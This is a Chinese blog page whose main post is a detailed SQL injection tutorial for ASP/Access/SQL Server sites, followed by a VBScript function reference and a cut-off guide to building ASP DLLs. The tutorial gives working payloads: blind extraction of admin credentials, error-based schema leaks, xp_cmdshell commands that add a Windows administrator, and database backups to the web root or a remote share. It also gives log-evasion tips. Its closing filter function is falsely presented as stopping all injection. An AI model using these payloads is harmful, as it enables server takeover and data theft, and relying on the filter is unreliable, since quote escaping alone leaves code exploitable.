asfman
android developer
posts - 90,  comments - 213,  trackbacks - 0
SQL Injection
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。
但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一
部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程
序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得
某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。


SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什
么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看
IIS日志的习惯,可能被入侵很长时间都不会发觉。


但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能
根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手
与“菜鸟”的根本区别。


根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%
,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及
技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序
员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基
本判断方法还存在误区。大家准备好了吗?Let's Go...


入 门 篇

如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>
Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,
不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,
不能获得更多的提示信息。


第一节、SQL注入原理

以下我们从一个网站www.19cn.com开始(注:本文发表前已征得该站站长同意,
大部分都是真实数据)。

在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,
地址为:http://www.19cn.com/showdetail.asp?id=49,我们在这个地址后面加上
单引号’,服务器会返回下面的错误提示:

Microsoft JET Database Engine 错误 '80040e14'

字符串的语法错误 在查询表达式 'ID=49'' 中。

/showdetail.asp,行8

从这个错误提示我们能看出下面几点:

1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。

2. 程序没有判断客户端提交的数据是否符合程序要求。

3. 该SQL语句所查询的表中有一名为ID的字段。


从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,
从而收集程序及服务器的信息,从而获取你想到得到的资料。


第二节、判断能否进行SQL注入

看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,
这不是很简单吗?

其实,这并不是最好的方法,为什么呢?

首先,不一定每台服务器的IIS都返回具体错误提示给客户端,
如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,
但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。
请和系统管理员联络。

其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了
,这种情况不为少数,如果你用单引号测试,是测不到注入点的

  那么,什么样的测试方法才是比较准确呢?答案如下:

① http://www.19cn.com/showdetail.asp?id=49

② http://www.19cn.com/showdetail.asp?id=49 and 1=1

③ http://www.19cn.com/showdetail.asp?id=49 and 1=2

这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的
结果就知道了:

可以注入的表现:

① 正常显示(这是必然的,不然就是程序有错误了)

② 正常显示,内容基本与①相同

③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、
或显示内容为空(程序加了on error resume next)

不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的
错误提示,或提示类型转换时出错。

  当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有
字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。


第三节、判断数据库类型及注入方法

不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断
一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超
过99%的网站都是其中之一。

怎么让程序告诉你它使用的什么数据库呢?来看看:

SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误
提示的话,那可以直接从出错信息获取,方法如下:

http://www.19cn.com/showdetail.asp?id=49 and user>0

这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次
无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,
前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内
置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的
数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,
SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生
语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的
用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。

顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,
拿到了sa权限,几乎肯定可以拿到主机的Administrator了。上面的方法可以很方
便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转
换成int的列发生错误,而不是”sa”。

如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以
从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,
比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,
但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,
在Web环境下可正常读取。

在确认可以注入的情况下,使用下面的语句:

http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0

http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0

如果数据库是SQLServer,那么第一个网址的页面与原页面
http://www.19cn.com/showdetail.asp?id=49是大致相同的;而第二个网址,
由于找不到表msysobjects,会提示出错,就算程序有容错处理,
页面也与原页面完全不同。

如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与
原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,
一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,
用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为
开启IIS错误提示时的验证。


进 阶 篇

在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的
保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中
获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:


第一节、SQL注入的一般步骤

首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。

其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型
主要分为下面三种:

(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]


(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’

(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’


接着,将查询条件替换成SQL语句,猜解表名,例如:

ID=49 And (Select Count(*) from Admin)>=0

如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,
反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。

表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。

有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,
那根本就没得玩下去了。说得很对,这世界根本就不存在100%
成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客
,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。

有点跑题了,话说回来,对于SQLServer的库,还是有办法让程
序告诉我们表名及字段名的,我们在高级篇中会做介绍。


最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,
下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速
度很慢,但肯定是可行的方法。

我们举个例子,已知表Admin中存在username字段,首先,我们取第一
条记录,测试长度:

http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0

先说明原理:如果top 1的username长度大于0,则条件成立;
接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,
比如>7成立,>8不成立,就是len(username)=8

  当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各
自发挥了。在得到username的长度后,用mid(username,N,1)截取第
N位字符,再asc(mid(username,N,1))得到ASCII码,比如:

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,
注意的是英文和数字的ASCII码在1-128之间,可以用折半法
加速猜解,如果写成程序测试,效率会有极大的提高。


第二节、SQL注入常用函数

有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的
人高很多。我们有必要提高一下自己的SQL水平,
特别是一些常用的函数及命令。

Access:asc(字符) SQLServer:unicode(字符)

作用:返回某字符的ASCII码


Access:chr(数字) SQLServer:nchar(数字)

作用:与asc相反,根据ASCII码返回字符


Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串


Access:abc(数字) SQLServer:abc (数字)

作用:返回数字的绝对值(在猜解汉字的时候会用到)


Access:A between B And C SQLServer:A between B And C

作用:判断A是否界于B与C之间


第三节、中文处理方法

在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打
退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。

先说一点常识:

Access中,中文的ASCII码可能会出现负数,取出该负数后用
abs()取绝对值,汉字字符不变。

SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,
不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,
再用nchar函数取得对应的中文字符。

了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?
除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。


高 级 篇

看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。
但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,
怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。


第一节、利用系统表注入SQLServer数据库

SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,
这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,
我们先来看看几个具体的例子:

① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

  分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,
所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,
然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,
用net命令新建了用户名为name、密码为password的windows的帐号,接着:

② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

  将新建的帐号name加入管理员组,不用两分钟,
你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,
否则,是没有权限调用xp_cmdshell的。

  ③ http://Site/url.asp?id=1 and db_name()>0

前面有个类似的例子and user>0,作用是获取连接用户名,
db_name()是另一个系统变量,返回的是连接的数据库名。

④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:inetpubwwwroot1.db’;--

这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,
将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,
所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,
还可以备份到网络地址的方法(如\202.96.xx.xxShare1.db),但成功率不高。

  ⑤ http://Site/url.asp?id=1 and (Select Top 1 name from sysobjects where xtype=’U’
 and status>0)>0

前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、
约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,
上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。
第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。

⑥ http://Site/url.asp?id=1 and (Select Top 1 col_name(object_id(‘表名’),1)
 from sysobjects)>0

从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,
col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就
可以逐个获取所猜解表里面的字段名。


  以上6点是我研究SQLServer注入半年多以来的心血结晶,
可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。
在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,
呵呵,也许安全与开发本来就是相辅相成的吧。


第二节、绕过程序限制继续注入

在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’
号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,
但对SQL注入比较熟悉的人,还是可以利用相关的函数,
达到绕过程序限制的目的。

在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化
,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,
有些语句包含有’号,我们举个例子来看看怎么改造这些语句:

简单的如where xtype=’U’,字符U对应的ASCII码是85,
所以可以用where xtype=char(85)代替;如果字符是中文的,
比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。


第三节、经验小结

1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,
所以大家可以用selecT这样尝试一下。

2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,
字段名都与表单的输入框取相同的名字。

3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,
%25解释为%号,具体可以参考URLEncode的相关介绍。

4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,
所以能用Post的网址尽量不用Get。

5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,
只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,
那效率和准确率会有极大的提高。

防 范 方 法

SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,
通常是由于程序员对注入不了解,或者程序过滤不严格,
或者某个参数忘记检查导致。在这里,我给大家一个函数,
代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:


Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符型
'ParaType:参数类型-数字型(1表示以上参数是数字,
0表示以上参数为字符)

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function

18:03  |  固定链接 | 引用通告 (0) | 记录它 | 计算机与 Internet
写ASP容易用到的VBSCRIPT函数
VBScript 函数 功能说明 例子
Abs(数值) 绝对值。一个数字的绝对值是它的正值。空字符串 (null) 的绝对值,也是空字符串。未初始化的变数,其绝对为 0 例子:ABS(-2000)
结果:2000
Array(以逗点分隔的数组元素) Array 函数传回数组元素的值。 例子:
A=Array(1,2,3)
B=A(2)
结果: 2
说明:变量B为A数组的第二个元素的值。
Asc(字符串) 将字符串的第一字母转换成 ANSI (美国国家标准符号)字码。 例子:Asc("Internet")
结果:73
说明:显示第一字母 I 的 ANSI 字码。
CBool(表达式) 转换成布尔逻辑值变量型态(True 或False) 例子:CBool(1+2)
结果:True
CDate (日期表达式) 换成日期变量型态。可先使用 IsDate 函数判断是否可以转换成日 期。 例子: CDate (now( )+2)
结果:2000/5/28 10:30:59
CDbl(表达式) 转换成DOUBLE变量型态。
Chr ( ANSI 字码) 将ASCII 字码转换成字符。 例子: Chr ( 72 )
结果: H
CInt (表达式) 转换成整数变量型态。 例子: CInt ("3.12")
结果: 3
CLng (表达式) 转换成LONG 变量型态。
CSng (表达式) 转换成SINGLE 变量型态。
CStr (表达式) 转换成字符串变量型态。
Date ( ) 传回系统的日期。 例子: Date
结果: 2000/5/13
DateAdd ( I , N , D ) 将一个日期加上一段期间后的日期。 I :设定一个日期( Date )所加上的一段期间的单位。譬如 interval="d" 表示 N的单位为日。 I的设定值如下:
yyyy Year 年
q Quarter 季
m Month 月
d Day 日
w Weekday 星期
h Hour 时
n Minute 分
s Second 秒
N :数值表达式,设定一个日期所加上的一段期间,可为正值或负值,正值表示加(结果为 >date 以后的日期),负值表示减(结果为 >date 以前的日期)。
D :待加减的日期。
例子: DateAdd ( "m" , 1 , "31-Jan-98")
结果: 28-Feb-98
说明:将日期 31-Jan-98 加上一个月,结果为 28-Feb-98 而非 31-Fe-98 。
例子: DateAdd ( "d" , 20 , "30-Jan-99")
结果: 1999/2/9
说明:将一个日期 30-Jan-99 加上 20 天后的日期。
DateDiff (I , D1 , D2[,FW[,FY]]) 计算两个日期之间的期间。
I :设定两个日期之间的期间计算之单位。譬如 >I="m" 表示计算的单位为月。 >I 的设定值如:
yyyy > Year 年
q Quarter 季
m Month 月
d Day 日
w Weekday 星期
h Hour 时
m Minute 分
s Second 秒
D1 ,D2:计算期间的两个日期表达式,若 >date1 较早,则两个日期之间的期间结果为正值;若 >date2 较早, 则结果为负值。
FW :设定每周第一天为星期几, 若未设定表示为星期天。 >FW 的设定值如下:
0 使用 >API 的设定值。
1 星期天
2 星期一
3 星期二
4 星期三
5 星期四
6 星期五
7 星期六
FY :设定一年的第一周, 若未设定则表示一月一日那一周为一年的第一周。 >FY 的设定值如下:
0 使用 >API 的设定值。
1 一月一日那一周为一年的第一周
2 至少包括四天的第一周为一年的第一周
3 包括七天的第一周为一年的第一周
例子: DateDiff ("d","25-Mar-99 ","30-Jun-99 ")
结果: 97
说明:显示两个日期之间的期间为 97 天。
DatePart (I,D,[,FW[,FY]]) 传回一个日期的之部份。
>I :设定传回那一部份。譬如 >I="d" 表示传回 部份为日。 >I 的设定值如下:
yyyy Year 年
q Quarter 季
m Month 月
d Day 日
w Weekday 星期
h Hour 时
m Minute 分
s Second 秒
D :待计算的日期。
>FW :设定每周第一天为星期几, 若未设定则表示为星期天。 >FW 的设定值如下:
0 使用 >API 的设定值。
1 星期天
2 星期一>3 星期二
4 星期三
5 星期四
6 星期五
7 星期六
FY :设定一年的第一周, 若未设定则表示一月一日那一周为一年的第一周。 >FY 的设定值如下:
0 使用 >API 的设定值。
1 一月一日那一周为一年的第一周
2 至少包括四天的第一周为一年的第一周
3 包括七天的第一周为一年的第一周
例子: DatePart ("m","25-Mar-99 ")
结果: 3
说明:显示传回一个日期 的月部份。
Dateserial (year,month,day) 转换(year,month,day) 成日期变量型态。 例子: DateSerial (99,10,1)
结果: 1999/10/1
DateValue ( 日期的字符串或表达式 ) 转换成日期变量型态,日期从 January 1,100 到 December 31,9999 。格式为 month,day,and year 或 month/day/year 。譬如: December 30,1999 、 Dec 30,1999 、 12/30/1999 、 12/30/99 例子: DateValue ("January 1,2002 ")
结果: 2002/1/1
Day( 日期的字符串或表达式 ) 传回日期的「日」部份。 例子: Day(" 12/1/1999 ")
结果: 1
Fix(表达式) 转换字符串成整数数字型态。与 Int 函数相同。若为 null 时传回 null 。
Int (number) 与 Fix(number) 的差别在负数。如 Int (-5.6)=-6 , Fix(-5.6)=-5 。
例子: Fix(5.6)
结果: 5
Hex( 表达式 ) 传回数值的十六进制值。若表达式为 null 时 Hex( 表达式 )=null ,若表达式 =Empty 时 Hex( 表达式 )=0 。 16 进位可以加「 &H 」表示,譬如 16 进位 &H10 表示十进制的 16 。 例子: Hex(30)
结果: 1E
Hour( 时间的字符串或表达式 ) 传回时间的「小时」部份。 例子: Hour("12:30:54 ")
结果: 12
InStr ([start,]string1,string2[,compare]) 将一 个 字符串由左 而右与另一个比较,传回第一个相同的位置。
start 为从第几个字比较起,若省略 start 则从第一个字比较起, string1 为待寻找的字符串表达式, string2 为 待比较的字符串表达式, compare 为比较的方法, compare=0 表二进制比较法, compare=1 表文字比较法,若省略 compare 则为预设的二进制比较法。
例子: InStr("abc123def123","12")
结果: 4
InstrRev ([start,]string1,string2[,compare]) 将一 个 字符串 由右而左与另一个比较,传回第一个相同的位置。
start 为从第几个字比较起,若省略 start 则从第一个字比较起, string1 为待寻找的字符串表达式, string2 为 待比较的字符串表达式, compare 为比较的方法, compare=0 表二进制比较法, compare=1 表文字比较法,若省略 compare 则为预设的二进制比较法。
例子: InstrRev ("abc123def123","12")
结果: 10
Int ( 表达式 ) 传回一个数值的整数部份。与 Fix 函数相同。 例子: Int (5.6)
结果: 5
IsArray ( 变数 ) 测试变量是 (True) 否 (False) 是一个数组。 例子: IsArray (3)
结果: False
说明:不是一个数组。
IsDate ( 日期或字符串的表达式 ) 是否可以转换成日期。日期从 January 1,100 A.D. 到 December 31,9999 A.D 。 例子: IsDate ("December 31,1999 ")
结果: True
说明:可以转换成日期。
IsEmpty ( 变数 ) 测试变量是 (True) 否 (False) 已经被初始化 例子: IsEmpty (a)
结果: True
IsNull ( 变数 ) 测试变数是 (True) 否 (False) 不是有效的数据。 例子: IsNull ("")
结果: False
说明:是有效的数据。
IsNumeric ( 表达式 ) 是 (True) 否 (False) 是数字。 例子: IsNumeric ("abc123")
结果: False
说明:不是数字。
LCase ( 字符串表达式 ) 转换字符串成小写。将大写字母的部份转换成小写。字符串其余的部份不变。 例子: LCase ("ABC123")
结果: abc123
Left( 字符串表达式 ,length) 取字符串左边的几个字。 length 为取个字。 Len 函数可得知字符串的长度。 例子: Left("ABC123",3)
结果: ABC
Len( 字符串表达式 变量 ) 取得字符串的长度。 例子: Len("ABC123")
结果: 6
LTrim ( 字符串表达式 ) 除去字符串左边的空白字。 RTrim 除去字符串右边的空白字, Trim 函数除去字符串左右两边的空白字。 例子: LTrim ("456+" abc ")
结果: 456abc123
Mid( 字符串表达式 ,start[,length]) 取字符串中的几个字。 start 为从第几个 字取起, length 为取几个字, 若略 length 则从 start 取到最右底。由Len 函数可得知字符串的长度。 例子: Mid("abc123",2,3)
结果: c12
Minute( 日期的字符串或表达式 ) 传回时间的「分钟」部份。 例子: Minute("12:30:54")
结果:30
Month(日期的字符串或表达式) 传回日期的「月」部份。 例子:Month("12/1/2001")
结果:12
MonthName(month[,abbreviate]) 传回月的名称。
month :待传回月名称的数字 1~12 。譬如, 1 代表一月, 7 代表七月。
abbreviate: 是 (True) 否 (False) 为缩写,譬如 March ,缩写为 Mar 。默认值为 False 。中文的月名称无缩写。
例子: MonthName (7)
结果:七月
Now() 传回系统的日期时间。 例子: Now()
结果: 2001/12/30 10:35:59 AM
Oct() 传回数值的八进位值。八进位可以加「 &O 」表示,譬如八进位 &O10 表示十进制的 8 。 例子: Oct(10)
结果: 12
Replace( 字符串表达式,findnreplacewith[,start[,count[,compare]]]) 将一个字符串取代 部份字。寻找待取代的原字符串 (find) , 若找到则被取代为新字符串 (replacewith) 。
find :待寻找取代的原字符串。
replacewith :取代后的字。
start :从第几个字开始寻找取代, 若未设定则由第一个字开始寻找。
count :取代的次数。 若未设定则所有寻找到的字符串取代字符 串全部被取代。
compare :寻找比较的方法, compare=0 表示二进制比较法, compare=1 表文字比较法, compare =2 表根据比较的 数据型态而定,若省略 compare 则为预设的二进制比较法。
例子: Replace("ABCD123ABC","AB","ab")
结果: abCD123abC
Right( 字符串表达式 ,length) 取字符串右边的几个字, length 为取几个字。 Len 函数可得知字符串的长度。 例子: Right("ABC123",3)
结果: 123
Rnd [(number)] 0~1 的 随机随机数值。 number 是任何有效的数值表达式。若 number 小于 0 表示每次得到相同的 随机随机数值。 number 大于 0 或未提供时表示依序得到下一个 随机随机数值。 >number=0 表示得到最近产生的 随机随机数值。为了避免得到相同的随机随机数顺序,可以于 Rnd 函数前加 Randomize 。 例子: Rnd
结果: 0.498498
Round( 数值表达式 [,D]) 四舍五入。
D :为四舍五入到第几位小数,若省略则四舍五入到整数。
例子: Round(30635,1)
结果: 3.6
RTrim ( 字符串表达式 ) 除去字符串右边的空白字。 LTrim 除去字符串左边的空白字, Trim 函数除去字符串左右两边的空白字。 例子: RTrim ("abc123 ")+"456"
结果: abc123456
Second( 时间的字符串或表达式 ) 传回时间的「秒」部份。 例子:Second("12:30:54")
结果:54
Space( 重复次数 ) 得到重复相同的空白字符串。 例子: A"+Space (5)+"B
结果: A B
说明: A 和 B 中间加入五个空白字。
String( 重复次数,待重复的字 ) 得到重复相同的字符串。 例子: String(5,71)
结果: GGGGG
StrReverse (String(10,71)) 将一个字符串顺序颠倒。 例子: StrReverse ("ABC")
结果: CBA
Time() 传回系统的时间。 例子: Time
结果: 10:35:59 PM
TimeSerial (hour,minute,second) 转换指定的 ( hour,minute,second) 成时间 变量型态。 例子: TimeSerial (10,31,59)
结果: 10:31:59
TimeValue ( 日期的字符串或表达式 ) 转换 成时间变量型态。日期的字符串或表达式从 0:00:00(12:00:00 A.M.) 到 23:59:59(11:59:59 P.M.) 。 例子: TimeValue (" 11:59:59 ")
结果: 11:59:59
Trim( 字符串表达式 ) 除去字符串左右两边的空白字。 例子: Trim(" abc123 ")
结果: abc123
UCase () 转换字符串成大写。将小写字母的部份转换成大写,字符串其余部份不变。 例子: UCase ("abc123")
结果: ABC123
VarType ( 变数 ) 传回一个变量类型。与 TypeName 函数相同, VarType 传回变量类型的代码, TypeName 传回变量类型的名称。 例子: VarType ( "I love you!")
结果: 8
Weekday( 日期表达式 ,[FW]) 传回星期几的数字。
FW :设定一周的第一天是星期几。若 省略则表 1( 星期日 ) 。
Firstdayfweek 设定值为: 1( 星期日 ),2( 星期一 ),3( 星期二 ),4( 星期三 ),5( 星期四 ),6( 星期五 ),7( 星期六 ) 。
例子: Weekday(" 1/1/2000")
结果: 7
WeekDayName (W,A,FW) 传回星期几的名称。
W :是 (True) 否 (False) 为缩写。譬如 March ,缩写为 Mar 。预设为 False 。中文的星期几名称无缩写。
FW :设定一周的第一天是星期几。 若省略表 1( 星期日 ) 。设定待传回星期几的名称,为一周中的第几天。
A : 1( 星期日 ),2( 星期一 ),3( 星期二 ),4( 星期三 ),5( 星期四 ),6( 星期五 ),7( 星期六 ) 。
例子: WeekDayName ("1/1/2000")
结果:星期六
Year() 传回日期的「年」部份。 例子: Year(" 12/1/2000 ")
结果: 2000
14:03  |  固定链接 | 引用通告 (0) | 记录它 | 计算机与 Internet
2月16日
如何把ASP编写成DLL
 
这篇文章主要是把ASP代码变成组件,开发者不仅是加快了ASP的速度,而且也能保护自己的代码.
下面,我们会来编写一个非常简单的组件,重点是知道怎样开发DLL组件,而不是其复杂的代码!这些都要靠你们自己以后的努力了.

服务器端组件

首先,服务器端的组件要有别于客户端的组件.客户端的组件是通过网络传输,依靠HTML来起作用.而且只能在IE上有用.但是服务器端的组件是运行在服务器端,它在服务器上执行各种操作.因此,所有的浏览器都能享用,它依靠的是服务器而不是浏览器.

当IIS被请求执行一个ASP程序,它首先会在ASP文件中找到 〈% %>标签之间的代码,并且执行它(也可以是〈script runat=server>〈/script>之间的代码).如果这个ASP程序在先前被调用过,那么它就会用内存中的编译过的程序来向用户返回HTML代码,如果没有,那么它就重新编译.这里ASP就比CGI多一点速度优势,因为CGI是每一个请求都使用一个线程.这样就大大消耗了服务器的资源.

想不想你写的程序自己就能在IIS运行!?!现在你就行了!使用VB5(当然现在是VB6了),你就能建立Dynamic Linked Libraries (DLL 文件),它能在IIS上直接运行(如果有asp文件来请求的话).

系统和软件的要求

你需要一个32位的操作系统来运行ASP.当然你也得安装IIS或PWS.我们下面的程序是在windows95+PWS+VB5的环境下开发的.

我们开始吧

启动你的VB,选择ActiveX图标.这个图标可以在新建工程找到!VB会提供一个默认的工程名(project1)和类名(class1).我们会将这两个名字都改掉.在改名之前,请首先确认我们拥有Microsoft Active Server Pages Object Library,它在我们的程序非常有用.从菜单中选择"工程",然后在其中选择"引用",就会出现"引用"窗口
从中选择Microsoft Active Server Pages Object Library.

给工程和类命名

现在我们来根据自己的爱好来为project1和class1来命名吧!给它们命名也是很重要的,我们以后会用这个工程名和类名来创建这个组件的实例!后面详细介绍.

如何改名,我就不想多说了!
我们的工程名改为Exmaple,类名为Helloword

怎样使用工程和类

现在我们有了我们自己的工程(Example1)和类名(HelloWorld).以后我们就会在ASP代码中使用它们的名字来引用这个组件.在ASP中我们就这样引用,如下:

Set ObjReference = Server.CreateObject("ProjectName.ClassName")

对于我们工程的引用就是:
Set ObjReference = Server.CreateObject("Example1.HelloWorld")
现在我们就能用ObjReference来调用我们在组件中所创建的函数,子程序.下面我们会来写一个SayHello的子程序, 我们执行它的代码如下:


〈%
Set ObjReference = Server.CreateObject("Example1.HelloWorld")
ObjReference.SayHello
%>


为了在Helloword类中使用ASP的方法,你必须在此类中写一个OnStartPage
子函数.如下:


Public Sub OnStartPage(PassedScriptingContext As ScriptingContext)
Set MyScriptingContext = PassedScriptingContext
End Sub

现在,无论什么时候用户访问一个带有本组件的ASP文件,IIS就会把
ScriptingContext传送给我们的对象请我们使用.这个ScriptingContext包括了全部的ASP方法和属性.实现上,这使得我们有能力访问所有ASP的对象.看下面的代码:


Public Sub OnStartPage(PassedScriptingContext As ScriptingContext)
Set MyScriptingContext = PassedScriptingContext
Set MyApplication = MyScriptingContext.Application
Set MyRequest = MyScriptingContext.Request
Set MyResponse = MyScriptingContext.Response
Set MyServer = MyScriptingContext.Server
Set MySession = MyScriptingContext.Session
End Sub


以后我们就能用在VB中用MyApplication 来代替ASP中的Application,同理可以代替Request,Server.....,不过我们来是要在 OnStartPage之前来申明这些变量:


Private MyScriptingContext As ScriptingContext
Private MyApplication As Application
Private MyRequest As Request
Private MyResponse As Response
Private MyServer As Server
Private MySession As Session

使用ASP的对象
我们的变量现在就能像标准的ASP对象来使用了!比如,我们经常在ASP中用
Request.form()来收集提交表单的数据.现在我们在我们的VB中实现这个功能,代码如下:

用ASP中实现:
〈%
MyTempVariable = Request.Form("userName")
Response.Write ("you entered "& MyTempVariable & "as your user name")
%>


在VB中实现:


MyTempVariable = MyRequest.Form("userName")
MyResponse.Write ("you entered "& MyTempVariable & "as your user
name")

通过使用MyResponse来代替Response,我们能够使用所有Response的方法,当
然,MyResponse这个名字可以随便来取,你甚至可以就取Response.
另一件我们得注意的是,我们得在我们的建立的类中,写上OnEndPage子函数,这个
